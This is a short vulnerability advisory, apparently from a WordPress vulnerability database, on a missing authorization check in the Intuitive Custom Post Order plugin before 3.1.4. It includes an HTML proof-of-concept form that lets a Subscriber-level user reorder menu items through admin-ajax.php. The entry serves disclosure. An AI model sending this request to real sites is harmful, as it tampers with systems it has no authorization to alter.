Intuitive Custom Post Order < 3.1.4 - Subscriber+ Arbitrary Menu Order Update

2023-01-2400:00:00

Yuya Kotake

149

intuitive custom post order

subscriber

arbitrary menu order

html

cross-site request forgery

0.001 Low

EPSS

Percentile

23.4%

JSON

The plugin does not check for authorization in the update-menu-order ajax action, allowing any logged in user (with roles as low as Subscriber) to update the menu order

Open the below HTML while being logged in as a subscriber

<html> <body> <form action="https://example.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="update-menu-order" /> <input type="hidden" name="order" value="post[]=7&post[]=5" /> <input type="submit" value="Submit request" /> </form> </body> </html>

0.001 Low

EPSS

Percentile

23.4%

JSON

Related for WPEX-ID:8F900D37-6EEE-4434-8B9B-D10CC4A9167C